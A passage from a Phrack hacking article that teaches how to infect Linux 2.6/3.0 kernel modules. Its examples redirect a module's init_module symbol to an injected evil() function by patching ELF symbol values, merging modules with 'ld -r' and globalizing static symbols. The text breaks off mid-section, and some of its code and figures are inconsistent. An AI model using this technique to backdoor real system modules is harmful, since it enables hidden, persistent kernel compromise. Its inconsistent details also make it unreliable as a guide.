                              ==Phrack Inc.==

                Volume 0x0e, Issue 0x44, Phile #0x0b of 0x13

|=-----------------------------------------------------------------------=|
|=----------------=[ Infecting loadable kernel modules ]=----------------=|
|=-------------------=[ kernel versions 2.6.x/3.0.x ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=----------------------------=[ by styx^ ]=-----------------------------=|
|=-----------------------=[ the.styx@gmail.com ]=------------------------=|
|=-----------------------------------------------------------------------=|


---[ Index


    1 - Introduction

    2 - Kernel 2.4.x method
        2.1 - First try
        2.2 - LKM loading explanations
        2.3 - The relocation process

    3 - Playing with loadable kernel modules on 2.6.x/3.0.x
        3.1 - A first example of code injection

    4 - Real World: Is it so simple?
        4.1 - Static functions
            4.1.1 - Local symbol
            4.1.2 - Changing symbol bind
            4.1.3 - Try again
        4.2 - Static __init functions
        4.3 - What about cleanup_module

    5 - Real life example
        5.1 - Inject a kernel module in /etc/modules
        5.2 - Backdooring initrd

    6 - What about other systems?
        6.1 - Solaris
            6.1.1 - A basic example
            6.1.2 - Playing with OS modules
            6.1.3 - Keeping it stealthy
        6.2 - *BSD
            6.2.1 - FreeBSD - NetBSD - OpenBSD

    7 - Conclusion

    8 - References

    9 - Codes
        9.1 - Elfstrchange
        9.2 - elfstrchange.patch


---[ 1 - Introduction


In Phrack #61 [1] truff introduced a new method to infect a loadable kernel
module on Linux kernel x86 2.4.x series.  Actually this method is currently
not compatible with the Linux kernel 2.6.x/3.0.x series due to the many
changes made in kernel internals.  As a result, in order to infect a kernel
module, changing the name of symbols in .strtab section is not enough
anymore; the task has become a little bit trickier.  In this article it
will be shown how to infect a kernel module on Linux kernel x86 2.6.*/3.0.x
series. All the methods discussed here have been tested on kernel version
2.6.35, 2.6.38 and 3.0.0 on Ubuntu 10.10, 11.04 and 11.10 and on kernel
version 2.6.18-238 on CentOS 5.6.

The proposed method has been tested only on 32-bit architectures: a 64-bit
adaptation is left as an exercise to the reader.  Finally, I want to
clarify that the proposed paper is not innovative, but is only an update of
truff's paper.


---[ 2 - Kernel 2.4.x method


---[ 2.1 - First try


With the help of a simple example it will be explained why truff's method
is no longer valid: we are using the "elfstrchange" tool provided in his
paper. First, let's write a simple testing kernel module:

/****************** orig.c ***********************************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>

MODULE_LICENSE("GPL");

int evil(void) {

    printk(KERN_ALERT "Init Inject!");

    return 0;

}

int init(void) {

    printk(KERN_ALERT "Init Original!");

    return 0;
}

void clean(void) {

    printk(KERN_ALERT "Exit Original!");

    return;
}

module_init(init);
module_exit(clean);
/****************** EOF **************************************************/

The module_init macro is used to register the initialization function of
the loadable kernel module: in other words, the function which is called
when the module is loaded, is the init() function.  Reciprocally the
module_exit macro is used to register the termination function of the LKM
which means that in our example clean() will be invoked when the module is
unloaded. These macros can be seen as the constructor/destructor
declaration of the LKM object. A more exhaustive explanation can be found
in section 2.2.

Below is the associated Makefile:

/****************** Makefile *********************************************/
obj-m += orig.o

KDIR    := /lib/modules/$(shell uname -r)/build
PWD    := $(shell pwd)

default:
    $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules

clean:
    $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) clean
/****************** EOF **************************************************/

Now the module can be compiled and the testing can start:

$ make
...

Truff noticed that altering the symbol names located in the .strtab section
was enough to fool the resolution mechanism of kernel v2.4. Indeed the
obj_find_symbol() function of modutils was looking for a specific symbol
("init_module") using its name [1]:

/*************************************************************************/
module->init = obj_symbol_final_value(f, obj_find_symbol(f,
                                                     SPFX "init_module"));
module->cleanup = obj_symbol_final_value(f, obj_find_symbol(f,
                                                  SPFX "cleanup_module"));
/*************************************************************************/

Let's have a look at the ELF symbol table of orig.ko:

$ objdump -t orig.ko

orig.ko:     file format elf32-i386

SYMBOL TABLE:

...

00000040 g     F .text	0000001b evil
00000000 g     O .gnu.linkonce.this_module	00000174 __this_module
00000000 g     F .text	00000019 cleanup_module
00000020 g     F .text	0000001b init_module
00000000 g     F .text	00000019 clean
00000000         *UND*	00000000 mcount
00000000         *UND*	00000000 printk
00000020 g     F .text	0000001b init

We want to setup evil() as the initialization function instead of init().
Truff was doing it in two steps:

    1. renaming init to dumm
    2. renaming evil to init

This can easily be performed using his tool, "elfstrchange", slightly
bug-patched (see section 9):

$ ./elfstrchange orig.ko init dumm
[+] Symbol init located at 0xa91
[+] .strtab entry overwritten with dumm

$ ./elfstrchange orig.ko evil init
[+] Symbol evil located at 0xa4f
[+] .strtab entry overwritten with init

$ objdump -t orig.ko

...

00000040 g     F .text	0000001b init          <-- evil()
00000000 g     O .gnu.linkonce.this_module	00000174 __this_module
00000000 g     F .text	00000019 cleanup_module
00000020 g     F .text	0000001b init_module
00000000 g     F .text	00000019 clean
00000000         *UND*	00000000 mcount
00000000         *UND*	00000000 printk
00000020 g     F .text	0000001b dumm          <-- init()

Now we're loading the module:

$ sudo insmod orig.ko
$ dmesg |tail
...

[ 2438.317831] Init Original!

As we can see the init() function is still invoked. Applying the same
method with "init_module" instead of init doesn't work either. In the next
subsection the reasons of this behaviour are explained.


---[ 2.2 LKM loading explanations


In the above subsection I briefly mentioned the module_init and
module_exit macros. Now let's analyze them.  In kernel v2.4 the entry and
exit functions of the LKMs were init_module() and cleanup_module(),
respectively.  Nowadays, with kernel v2.6, the programmer can choose the
name he prefers for these functions using the module_init() and
module_exit() macros. These macros are defined in "include/linux/init.h"
[3]:


/*************************************************************************/
#ifndef MODULE

[...]

#else /* MODULE */

[...]

/* Each module must use one module_init(). */
#define module_init(initfn)                                     \
        static inline initcall_t __inittest(void)               \
        { return initfn; }                                      \
        int init_module(void) __attribute__((alias(#initfn)));

/* This is only required if you want to be unloadable. */
#define module_exit(exitfn)                                     \
        static inline exitcall_t __exittest(void)               \
        { return exitfn; }                                      \
        void cleanup_module(void) __attribute__((alias(#exitfn)));

[...]

#endif /*MODULE*/
/*************************************************************************/


We are only interested in the "loadable module" case, that is when MODULE
is defined. As you can see, init_module is always declared as an alias of
initfn, the argument of the module_init macro. As a result, the compiler
will always produce identical symbols in the relocatable object: one for
initfn and one for "module_init". The same rule applies for the termination
function, if the unloading mechanism is compiled in the kernel (that is if
CONFIG_MODULE_UNLOAD is defined).

When a module is compiled, first the compiler creates an object file for
each source file, then it generates an additional generic source file,
compiles it and finally links all the relocatable objects together.

In the case of orig.ko, orig.mod.c is the file generated and compiled as
orig.mod.o. The orig.mod.c follows:

/*************************************************************************/
#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>

MODULE_INFO(vermagic, VERMAGIC_STRING);

struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
 .name = KBUILD_MODNAME,
 .init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
 .exit = cleanup_module,
#endif
 .arch = MODULE_ARCH_INIT,
};

static const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {
	{ 0x4d5503c4, "module_layout" },
	{ 0x50eedeb8, "printk" },
	{ 0xb4390f9a, "mcount" },
};

static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";


MODULE_INFO(srcversion, "EE786261CA9F9F457DF0EB5");
/*************************************************************************/

This file declares and partially initializes a struct module which will be
stored in the ".gnu.linkonce.this_module" section of the object file. The
module struct is defined in "include/linux/module.h":

/*************************************************************************/
struct module
{
	[...]

	/* Unique handle for this module */
	char name[MODULE_NAME_LEN];

	[...]

	/* Startup function. */
	int (*init)(void);

	[...]

	/* Destruction function. */
	void (*exit)(void);

	[...]
};
/*************************************************************************/

So when the compiler auto-generates the C file, it always makes the .init
and .exit fields of the struct pointing to the function "init_module" and
"cleanup_module". But the corresponding functions are not declared in this
C file so they are assumed external and their corresponding symbols are
declared undefined (*UND*):

$ objdump -t orig.mod.o

orig.mod.o:     file format elf32-i386

SYMBOL TABLE:
[...]
00000000         *UND*	00000000 init_module
00000000         *UND*	00000000 cleanup_module

When the linking with the other objects is performed, the compiler is then
able to solve this issue thanks to the aliasing performed by the
module_init() and module_exit() macros.

$ objdump -t orig.ko

00000000 g     F .text	0000001b evil
00000000 g     O .gnu.linkonce.this_module	00000184 __this_module
00000040 g     F .text	00000019 cleanup_module
00000020 g     F .text	0000001b init_module
00000040 g     F .text	00000019 clean
00000000         *UND*	00000000 mcount
00000000         *UND*	00000000 printk
00000020 g     F .text	0000001b init

The aliasing can be seen as a smart trick to allow the compiler to declare
and fill the __this_module object without too much trouble. This object is
essential for the loading of the module in the v2.6.x/3.0.x kernels.

To load the LKM, a userland tool (insmod/modprobe/etc.) calls the
sys_init_module() syscall which is defined in "kernel/module.c":

/*************************************************************************/
SYSCALL_DEFINE3(init_module, void __user *, umod,
               unsigned long, len, const char __user *, uargs)
{
        struct module *mod;
        int ret = 0;

        ...

        /* Do all the hard work */
        mod = load_module(umod, len, uargs);

        ...

        /* Start the module */
        if (mod->init != NULL)
                ret = do_one_initcall(mod->init);
        ...
}
/*************************************************************************/

The load_module() function returns a pointer to a "struct module" object
when the LKM is loaded in memory. As stated in the source code,
load_module() handles the main tasks associated with the loading and as
such is neither easy to follow nor to explain in a few sentences. However
there are two important things that you should know:

    - load_module() is responsible for the ELF relocations
    - the mod->init is holding the relocated value stored in __this_module

Note: Because __this_module is holding initialized function pointers (the
address of init() and clean() in our example), there has to be a relocation
at some point.

After the relocation is performed, mod->init() refers to the kernel mapping
of init_module() and can be called through do_one_initcall() which is
defined in "init/main.c":

/*************************************************************************/
int __init_or_module do_one_initcall(initcall_t fn)
{
        int count = preempt_count();
        int ret;

        if (initcall_debug)
                ret = do_one_initcall_debug(fn);   <-- init_module() may be
        else                                           called here
                ret = fn();                        <-- or it may be called
                                                       here
        msgbuf[0] = 0;

        ...

        return ret;
}
/*************************************************************************/


---[ 2.3 - The relocation process


The relocation itself is handled by the load_module() function and without
any surprise the existence of the corresponding entries can be found in the
binary:

$ objdump -r orig.ko

./orig.ko:     file format elf32-i386

    ...

RELOCATION RECORDS FOR [.gnu.linkonce.this_module]:
OFFSET   TYPE              VALUE
000000d4 R_386_32          init_module
00000174 R_386_32          cleanup_module

This means that the relocation has to patch two 32-bit addresses (because
type == R_386_32) located at:

- (&.gnu.linkonce.this_module = &__this_module) + 0xd4   [patch #1]
- (&.gnu.linkonce.this_module = &__this_module) + 0x174  [patch #2]

A relocation entry (in a 32-bit environment) is an Elf32_Rel object and
is defined in "/usr/include/elf.h":

/*************************************************************************/
typedef struct
{
  Elf32_Addr    r_offset;               /* Address */
  Elf32_Word    r_info;                 /* Relocation type and symbol index
*/
} Elf32_Rel;

#define ELF32_R_SYM(val)                ((val) >> 8)
/*************************************************************************/

The important thing to remember is that the symbol is located using
ELF32_R_SYM() which provides an index in the table of symbols, the .symtab
section.

This can be easily seen:

$ readelf -S ./orig.ko  | grep gnu.linkonce
 [10] .gnu.linkonce.thi PROGBITS    00000000 000240 000184 00  WA  0   0 32
 [11] .rel.gnu.linkonce REL         00000000 0007f8 000010 08     16  10  4

The relocation section associated with section 10 is thus section 11.

$ readelf -x 11 orig.ko

Hex dump of section '.rel.gnu.linkonce.this_module':
  0x00000000 d4000000 01160000 74010000 01150000 ........t.......

So ELF32_R_SYM() is returning 0x16 (=22) for the first relocation and 0x1b
(=21) for the second one. Now let's see the table of symbols:

$ readelf -s .orig.ko

Symbol table '.symtab' contains 33 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND

    ...

    21: 00000040    25 FUNC    GLOBAL DEFAULT    2 cleanup_module
    22: 00000020    27 FUNC    GLOBAL DEFAULT    2 init_module

    ...

This is a perfect match. So when the LKM is loaded:

    - The kernel performs a symbol resolution and the corresponding symbols
      are updated with a new value. At his point init_module and
      cleanup_module are holding kernel space addresses.

    - The kernel performs the required relocations using the index in the
      table of symbols to know how to patch. When the relocation is
      performed __this_module has been patched twice.

At this point it should be clear that the address value of the init_module
symbol has to be modified if we want to call evil() instead of init().


---[ 3 - Playing with loadable kernel modules on 2.6.x/3.0.x


As pointed out above, the address of the init_module symbol has to be
modified in order to invoke the evil() function at loading time. Since the
LKM is a relocatable object, this address is calculated using the offset
(or relative address) stored in the st_value field of the Elf32_Sym
structure [2], defined in "/usr/include/elf.h":

/*************************************************************************/
typedef struct
{
  Elf32_Word	st_name;	/* Symbol name (string tbl index) */
  Elf32_Addr	st_value;	/* Symbol value */
  Elf32_Word	st_size;	/* Symbol size */
  unsigned char	st_info;	/* Symbol type and binding */
  unsigned char	st_other;	/* Symbol visibility */
  Elf32_Section	st_shndx;	/* Section index */
} Elf32_Sym;
/*************************************************************************/

$ objdump -t orig.ko

orig.ko:     file format elf32-i386

SYMBOL TABLE:

...

00000040 g     F .text	0000001b evil
00000000 g     O .gnu.linkonce.this_module	00000174 __this_module
00000000 g     F .text	00000019 cleanup_module
00000020 g     F .text	0000001b init_module
00000000 g     F .text	00000019 clean
00000000         *UND*	00000000 mcount
00000000         *UND*	00000000 printk
00000020 g     F .text	0000001b init

The objdump output shows that:

- the relative address of evil() is 0x00000040;
- the relative address of init_module() is 0x00000020;
- the relative address of init() is 0x00000020;

Altering these offsets is enough to have evil() being called instead of
init_module() because the relocation process in the kernel will produce the
corresponding "poisoned" virtual address.

The orig.ko has to look like this:

00000040 g     F .text	0000001b evil
...
00000040 g     F .text	0000001b init_module

To do so, we can use my 'elfchger' script in order to modify the ELF file.
The code structure is the same as truff's one, with some minor changes.
The script takes the following input parameters:

./elfchger -s [symbol] -v [value] <module_name>

Where [value] represents the new relative address of the [symbol]
(init_module in our case) in <module_name>:

Let's apply it to our example:

$ ./elfchger -s init_module -v 00000040 orig.ko
[+] Opening orig.ko file...
[+] Reading Elf header...
	>> Done!
[+] Finding ".symtab" section...
	>> Found at 0x77c
[+] Finding ".strtab" section...
	>> Found at 0x7a4
[+] Getting symbol' infos:
	>> Symbol found at 0x99c
	>> Index in symbol table: 0x16
[+] Replacing 0x00000020 with 0x00000040... done!

The ELF file is now changed:

$ objdump -t orig.ko

orig.ko:     file format elf32-i386

SYMBOL TABLE:
...

00000040 g     F .text	0000001b evil
00000000 g     O .gnu.linkonce.this_module	00000174 __this_module
00000000 g     F .text	00000019 cleanup_module
00000040 g     F .text	0000001b init_module
00000000 g     F .text	00000019 clean
00000000         *UND*	00000000 mcount
00000000         *UND*	00000000 printk
00000020 g     F .text	0000001b init

Let's load the module:

$ sudo insmod orig.ko

$ dmesg | tail
...

[ 5733.929286] Init Inject!

$

As expected the evil() function is invoked instead of init() when the
module is loaded.


---[ 3.1 A first example of code injection

The next step is the injection of external code inside the original module
(orig.ko). A new kernel module (evil.ko) will be injected into orig.ko.
We will use both orig.c and evil.c source codes:

/***************************** orig.c ************************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>

MODULE_LICENSE("GPL");

int init_module(void) {

    printk(KERN_ALERT "Init Original!");

    return 0;
}

void clean(void) {

    printk(KERN_ALERT "Exit Original!");

    return;
}

module_init(init);
module_exit(clean);
/******************************** EOF ************************************/

/***************************** evil.c ************************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>

MODULE_LICENSE("GPL");

int evil(void) {

    printk(KERN_ALERT "Init Inject!");

    return 0;
}
/******************************** EOF ************************************/

Once the two modules orig.ko and evil.ko are compiled, they can be linked
together using the 'ld -r' command (as explained by truff) because they are
both relocatable objects.

$ ld -r orig.ko evil.ko -o new.ko
$ objdump -t new.ko

new.ko:     file format elf32-i386

SYMBOL TABLE:
...

00000040 g     F .text	0000001b evil
00000000 g     O .gnu.linkonce.this_module	00000174 __this_module
00000000 g     F .text	00000019 cleanup_module
00000020 g     F .text	0000001b init_module
00000000 g     F .text	00000019 clean
00000000         *UND*	00000000 mcount
00000000         *UND*	00000000 printk
00000020 g     F .text	0000001b init

The evil() function has now been linked into the new.ko module. The next
step is to make init_module() (defined in orig.ko) an alias of evil()
(defined in evil.ko). It can be done easily using ./elfchger:

$ ./elfchger -f init_module -v 00000040 new.ko
[+] Opening new.ko file...
[+] Reading Elf header...
	>> Done!
[+] Finding ".symtab" section...
	>> Found at 0x954
[+] Finding ".strtab" section...
	>> Found at 0x97c
[+] Getting symbol' infos:
	>> Symbol found at 0xbe4
	>> Index in symbol table: 0x1d
[+] Replacing 0x00000020 with 0x00000040... done!

At this point the module can be renamed and loaded:

$ mv new.ko orig.ko
$ sudo insmod orig.ko
$ dmesg | tail
...
[ 6791.920363] Init Inject!

And the magic occurs :)

As already explained by truff, if we want the original module to work
properly, we need to call its initialization function. This can be done
using an imported symbol which will be fixed at linking time.  The init()
function is declared as extern: this means that it will be resolved at
linking time. We use the following code:

/****************************** evil.c ***********************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>

MODULE_LICENSE("GPL");

extern int init();

int evil(void) {

    init();
    printk(KERN_ALERT "Init Inject!");

    /* do something */

    return 0;
}
/******************************** EOF ************************************/

And it works:

$ dmesg | tail
...
[ 7910.392244] Init Original!
[ 7910.392248] Init Inject!


---[ 4 - Real World: Is it so simple?


In this section it will be shown why the method described above when used
in real life may not work. In fact the example modules were overly
simplified for a better understanding of the basic idea of module
infection.


---[ 4.1 - Static functions


The majority of Linux system modules are a little bit different from those
used above. Here is a more accurate example:

/***************************** orig.c ************************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>

MODULE_LICENSE("GPL");

static int init(void) {

    printk(KERN_ALERT "Init Original!");

    return 0;
}

static void clean(void) {

    printk(KERN_ALERT "Exit Original!");

    return;
}

module_init(init);
module_exit(clean);
/******************************** EOF ************************************/

Let's try to use our method to inject the old evil code inside this new
orig module.

$ ld -r orig.ko evil.ko -o new.ko
$ sudo insmod new.ko
insmod: error inserting 'new.ko': -1 Unknown symbol in module

What? More information is needed:

$ dmesg | tail
...
[ 2737.539906] orig: Unknown symbol init (err 0)

The unknown symbol appears to be init. To understand the reason why init is
"unknown" let's have a look at the symbol table of new.ko:

$ objdump -t new.ko

...

SYMBOL TABLE:
...

00000000 l     F .text	00000019 clean
00000020 l     F .text	0000001b init

...

00000040 g     F .text	00000020 evil
00000000 g     O .gnu.linkonce.this_module	00000174 __this_module
00000000 g     F .text	00000019 cleanup_module
00000020 g     F .text	0000001b init_module
00000000         *UND*	00000000 mcount
00000000         *UND*	00000000 printk
00000000         *UND*	00000000 init

This output shows that there are now two "init" symbols, one of them not
being defined (*UND*). This means that the linker does not perform
correctly the linking between the init functions in orig.ko and evil.ko. As
a result, when the module is loaded, the kernel tries to find the init
symbol, but since it is not defined anywhere it fails to do so and the
module is not loaded.


---[ 4.1.1 - Local symbol

The 'readelf' tool can give us more insight:

$ readelf -s orig.ko

Symbol table '.symtab' contains 26 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
    ...
    14: 00000020    27 FUNC    LOCAL  DEFAULT    2 init
    ...

To summarize, we know about the init symbol that:

- its relative address is 0x00000020;
- its type is a function;
- its binding is local;

The symbol binding is now local (while it was previously global) since the
init function is now declared 'static' in orig.c. This has the effect to
reduce its scope to the file in which it is declared. For this reason the
symbol was not properly resolved by the linker. We need to do something in
order to change the scope of init, otherwise the injection won't work.


---[ 4.1.2 - Changing symbol binding


It's possible to change a symbol binding using the 'objcopy' tool. In fact
the '--globalize-symbol' option can be used to give global scoping to the
specified symbol:

$ objcopy --globalize-symbol=init ./orig.ko orig2.ko

But if for some reason, objcopy is not present, the tool that I wrote can
also globalize a particular symbol modifying all the necessary fields
inside the ELF file.

Each symbol table entry in the .symtab section is defined as follows [2]:

/******************************** EOF ************************************/
typedef struct
{
  Elf32_Word	st_name;	/* Symbol name (string tbl index) */
  Elf32_Addr	st_value;	/* Symbol value */
  Elf32_Word	st_size;	/* Symbol size */
  unsigned char	st_info;	/* Symbol type and binding */
  unsigned char	st_other;	/* Symbol visibility */
  Elf32_Section	st_shndx;	/* Section index */
} Elf32_Sym;
/******************************** EOF ************************************/

First, it's necessary to find in the ELF file the symbol we are looking for
(init) and check if it has a global or a local binding. The function
ElfGetSymbolByName() searches the offset at which init symbol is located in
the .symtab and it fills the corresponding "Elf32_Sym sym" structure.
Next, the binding type must be checked by looking at the st_info field.
Passing sym.st_info to the macro ELF32_ST_BIND() defined in "<elf.h>",
returns the expected binding value.

If the symbol has a local binding, these steps have to be performed:

1. Reorder the symbols: the symbol we are interested in must be placed
   among the global symbols inside the .symtab section. We'll see later why
   this step is mandatory. We need to move the init symbol from:

   $ readelf -s orig.ko

   Symbol table '.symtab' contains 26 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 00000000     0 SECTION LOCAL  DEFAULT    1
     2: 00000000     0 SECTION LOCAL  DEFAULT    2
     3: 00000000     0 SECTION LOCAL  DEFAULT    4
     4: 00000000     0 SECTION LOCAL  DEFAULT    5
     5: 00000000     0 SECTION LOCAL  DEFAULT    6
     6: 00000000     0 SECTION LOCAL  DEFAULT    8
     7: 00000000     0 SECTION LOCAL  DEFAULT    9
     8: 00000000     0 SECTION LOCAL  DEFAULT   10
     9: 00000000     0 SECTION LOCAL  DEFAULT   12
    10: 00000000     0 SECTION LOCAL  DEFAULT   13
    11: 00000000     0 SECTION LOCAL  DEFAULT   14
    12: 00000000     0 FILE    LOCAL  DEFAULT  ABS orig.c
    13: 00000000    25 FUNC    LOCAL  DEFAULT    2 clean

    14: 00000020    27 FUNC    LOCAL  DEFAULT    2 init       <-----

    15: 00000000    12 OBJECT  LOCAL  DEFAULT    5 __mod_license6
    16: 00000000     0 FILE    LOCAL  DEFAULT  ABS orig.mod.c
    17: 00000020    35 OBJECT  LOCAL  DEFAULT    5 __mod_srcversion31
    18: 00000043     9 OBJECT  LOCAL  DEFAULT    5 __module_depends
    19: 00000000   192 OBJECT  LOCAL  DEFAULT    8 ____versions
    20: 00000060    59 OBJECT  LOCAL  DEFAULT    5 __mod_vermagic5
    21: 00000000   372 OBJECT  GLOBAL DEFAULT   10 __this_module
    22: 00000000    25 FUNC    GLOBAL DEFAULT    2 cleanup_module
    23: 00000020    27 FUNC    GLOBAL DEFAULT    2 init_module
    24: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND mcount
    25: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND printk

   To:

   Symbol table '.symtab' contains 26 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 00000000     0 SECTION LOCAL  DEFAULT    1
     2: 00000000     0 SECTION LOCAL  DEFAULT    2
     3: 00000000     0 SECTION LOCAL  DEFAULT    4
     4: 00000000     0 SECTION LOCAL  DEFAULT    5
     5: 00000000     0 SECTION LOCAL  DEFAULT    6
     6: 00000000     0 SECTION LOCAL  DEFAULT    8
     7: 00000000     0 SECTION LOCAL  DEFAULT    9
     8: 00000000     0 SECTION LOCAL  DEFAULT   10
     9: 00000000     0 SECTION LOCAL  DEFAULT   12
    10: 00000000     0 SECTION LOCAL  DEFAULT   13
    11: 00000000     0 SECTION LOCAL  DEFAULT   14
    12: 00000000     0 FILE    LOCAL  DEFAULT  ABS orig.c
    13: 00000000    25 FUNC    LOCAL  DEFAULT    2 clean
    14: 00000000    12 OBJECT  LOCAL  DEFAULT    5 __mod_license6
    15: 00000000     0 FILE    LOCAL  DEFAULT  ABS orig.mod.c
    16: 00000020    35 OBJECT  LOCAL  DEFAULT    5 __mod_srcversion31
    17: 00000043     9 OBJECT  LOCAL  DEFAULT    5 __module_depends
    18: 00000000   192 OBJECT  LOCAL  DEFAULT    8 ____versions
    19: 00000060    59 OBJECT  LOCAL  DEFAULT    5 __mod_vermagic5

    20: 00000020    27 FUNC    GLOBAL DEFAULT    2 init       <-----

    21: 00000000   372 OBJECT  GLOBAL DEFAULT   10 __this_module
    22: 00000000    25 FUNC    GLOBAL DEFAULT    2 cleanup_module
    23: 00000020    27 FUNC    GLOBAL DEFAULT    2 init_module
    24: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND mcount
    25: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND printk

   This task is accomplished by the "ReorderSymbols()" function.

2. Updating the information about the init symbol (i.e. its offset, index,
   etc..) according to its new position inside the .symtab section.

3. Changing the symbol binding from local to global by modifying the
   st_info field using the ELF32_ST_INFO macro:

   #define ELF32_ST_INFO(b, t)	(((b)<<4)+((t)&0xf))

   Where 'b' is the symbol binding and 't' the symbol type.
   The binding values are:

   Name        Value
   ====        =====
   STB_LOCAL       0
   STB_GLOBAL      1
   STB_WEAK        2
   STB_LOPROC     13
   STB_HIPROC     15

   Obviously, STB_GLOBAL has to be used for our purpose.

   The type values are:

   Name         Value
   ====         =====
   STT_NOTYPE       0
   STT_OBJECT       1
   STT_FUNC         2
   STT_SECTION      3
   STT_FILE         4
   STT_LOPROC      13
   STT_HIPROC      15

   The STT_FUNC is the type value to specify functions.

   So, the resulting macro will be:

   ELF32_ST_INFO(STB_GLOBAL, STT_FUNC);

   The init st_info field should then be set equal to the macro's result.

4. Updating the symtab section header, defined as:

   typedef struct {
      Elf32_Word	sh_name;
      Elf32_Word	sh_type;
      Elf32_Word	sh_flags;
      Elf32_Addr	sh_addr;
      Elf32_Off		sh_offset;
      Elf32_Word	sh_size;
      Elf32_Word	sh_link;
      Elf32_Word	sh_info;
      Elf32_Word	sh_addralign;
      Elf32_Word	sh_entsize;
   } Elf32_Shdr;

   The header can be output by the 'readelf -e' command:

   $ readelf -e orig.ko

   ELF Header:

   ...

   Section Headers:
   [Nr] Name          Type     Addr     Off    Size   ES Flg Lk Inf Al
   ...
   [15] .shstrtab     STRTAB   00000000 00040c 0000ae 00      0   0  1
   [16] .symtab       SYMTAB   00000000 0007dc 0001a0 10     17  21  4
   [17] .strtab       STRTAB   00000000 00097c 0000a5 00      0   0  1

   The value of the information (sh_info) field (reported as 'Inf')
   depends on the section header type (sh_type):

   sh_type      sh_link                        sh_info
   =======      =======                        =======
   SHT_DYNAMIC  The section header index of    0
                the string table used by
                entries in the section.
   SHT_HASH     The section header index of    0
                the symbol table to which the
                hash table applies.
   SHT_REL,     The section header index of    The section header index of
   SHT_RELA     the associated symbol table.   the section to which the
                                               relocation applies.
   SHT_SYMTAB,  The section header index of    One greater than the symbol
   SHT_DYNSYM   the associated string table.   table index of the last
                                               local symbol (binding
                                               STB_LOCAL).
   other        SHN_UNDEF                      0

   The sh_info must be updated according to the rules of the SHT_SYMTAB
   type. In our example, its value will be 20 = 19 + 1 (remember that our
   symbol will be placed after the "__mod_vermagic5" symbol, whose entry
   number is 19). This is the reason why reorder the symbol list (step 1)
   is a necessary step.

All these tasks are accomplished by the tool I wrote by using this option:

./elfchger -g [symbol] <module_name>

Where [symbol] is the symbol name which binding value has to be modified.


---[ 4.1.3 Try again


At this point we can try another test, in which the developed tool will be
used. The two modules (orig.c and evil.c) and the Makefile remain the same.

The first step is to change the init binding from 'local' to 'global'. The
outcome of the elfchger script can be checked by looking at the readelf's
output before and after its use. Before running the script readelf outputs:

$ readelf -a orig.ko

...

Section Headers:
  [Nr] Name        Type     Addr     Off    Size   ES Flg Lk Inf Al
  ...
  [16] .symtab     SYMTAB   00000000 0007dc 0001a0 10     17  21  4

...

Symbol table '.symtab' contains 26 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
    ...
    10: 00000000     0 SECTION LOCAL  DEFAULT   13
    11: 00000000     0 SECTION LOCAL  DEFAULT   14
    12: 00000000     0 FILE    LOCAL  DEFAULT  ABS orig.c
    13: 00000000    25 FUNC    LOCAL  DEFAULT    2 clean
    14: 00000020    27 FUNC    LOCAL  DEFAULT    2 init
    ...
    21: 00000000   372 OBJECT  GLOBAL DEFAULT   10 __this_module
    22: 00000000    25 FUNC    GLOBAL DEFAULT    2 cleanup_module
    ...

Let's run the script on the orig.ko file:

$ ./elfchger -g init orig.ko
[+] Opening orig.ko file...
[+] Reading Elf header...
	>> Done!
[+] Finding ".symtab" section...
	>> Found at 0x73c
[+] Finding ".strtab" section...
	>> Found at 0x764
[+] Getting symbol' infos:
	>> Symbol found at 0x8bc
	>> Index in symbol table: 0xe
[+] Reordering symbols:
	>> Starting:
	>> Moving symbol from f to e
	>> Moving symbol from 10 to f
	>> Moving symbol from 11 to 10
	>> Moving symbol from 12 to 11
	>> Moving symbol from 13 to 12
	>> Moving symbol from 14 to 13
	>> Moving our symbol from 14 to 14
	>> Last LOCAL symbol: 0x14
	>> Done!
[+] Updating symbol' infos:
	>> Symbol found at 0x91c
	>> Index in symbol table: 0x14
	>> Replacing flag 'LOCAL' located at 0x928 with 'GLOBAL'
[+] Updating symtab infos at 0x73c

Let's see what happened:

$ readelf -a orig.ko

...

Section Headers:
  [Nr] Name       Type            Addr     Off    Size   ES Flg Lk Inf Al
  ...
  [16] .symtab    SYMTAB          00000000 0007dc 0001a0 10     17  20  4
  [17] .strtab    STRTAB          00000000 00097c 0000a5 00      0   0  1

...

Symbol table '.symtab' contains 26 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
    ...
    18: 00000000   192 OBJECT  LOCAL  DEFAULT    8 ____versions
    19: 00000060    59 OBJECT  LOCAL  DEFAULT    5 __mod_vermagic5
    20: 00000020    27 FUNC    GLOBAL DEFAULT    2 init
    21: 00000000   372 OBJECT  GLOBAL DEFAULT   10 __this_module
    ...

So as expected:

- the position of init is changed from 14 to 20 in the symbol table;
- the 'Inf' field in the .symtab header has changed: its current value is
  20 (19 (last index local symbol) + 1);
- the binding of init has changed from local to global.

Now we can link together orig.ko and evil.ko:

$ ld -r orig.ko evil.ko -o new.ko
$ objdump -t new.ko

...

